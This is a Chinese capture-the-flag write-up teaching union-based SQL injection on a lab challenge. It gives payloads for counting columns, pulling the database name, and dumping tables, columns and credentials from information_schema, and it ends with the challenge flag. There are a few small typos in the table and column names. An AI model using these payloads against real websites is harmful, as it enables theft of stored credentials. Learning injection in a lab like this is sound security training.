首先要解决这道题要先了解有关union注入的基本知识
所谓union注入就是利用union实现sql语句的拼接,从而获取想要的信息
如:select * from user where id=1 union select database()同时实现了 查询id=1的数据 和数据库名
union联合注入的基本步骤
1.用 group by 和 order by 判断回显点个数【order by 功能更强大但容易被ban】(可以使用二分法进行查找)
2.-1' union select 1,2,3 显示回显点(回显点有几个就写几,如回显点有4个,就是select 1,2,3,4)
3.database() 爆库
4.group_concat(table_name) from information_schema.tables where table_schema = '库名'(也可以是database())【字符串容易被ban,用database()函数不容易被ban】爆表
5.group_concat(column_name) from information_schema.columns where table_name = '表名' 爆列
6.group_concat(id,username,password) from 列名 爆数据
补充:可以用()让语句优先执行
在回显点位置写入sql语句返回值将回显到相应的回显点上,所以在回显点位置写入sql语句实现union联合注入,如:-1' union select 1,database(),3 # 会在回显点2返回database()的结果
拥有了以上知识就可以来解决love sql 这道题了(一时间看不懂也没关系,我最开始也不懂跟着题目走一遍就会了)
如何判断闭合点什么的最基础的知识就不多赘述了,直接进入正题,直接开始我们的union联合注入
回忆上面的知识,第一步用order by 判断回显点个数 注入1' order by 1# 发现没有报错,一个个试发现 1' order by 4 # 报错了,所以判断回显点个数为3
输入1' union select 1,2,3 # 显示回显点2,3
在回显点处加入sql语句进行注入,首先先在回显点2进行爆库 1' union select 1,database(),3 #
为了避免一直返回的麻烦,直接使用hack bar(URL编码中#为%23)
可以发现回显点位爆出了库名 'geek'
知道了库名geek之后,进行爆表
我这里选择在回显点3进行爆表
group_concat(table_name) from information_schema.tables where table_schema = 'geek' #
回显点爆出了表名 'geekuser'和'10ve1ysq1',显然'10ve1ysq1'为flag所在表
然后进行爆列 group_concat(column_name) from information_schema.columns where table_name = 'l0ve1ysq1',我依旧选择了在回显点3进行
爆出来列名 'id,ysername,password'
最后一步进行爆数据 group_concat(id,username,password) from l0ve1ysq1#
得到
flag{a8875f7c-69ab-4e38-8c7c-7f8d0974b992}
由于篇幅问题数据库有关的知识和语句就不讲解了,感兴趣的可以去学习了解
走完题目是不是感觉通透多了,喜欢就点个赞叭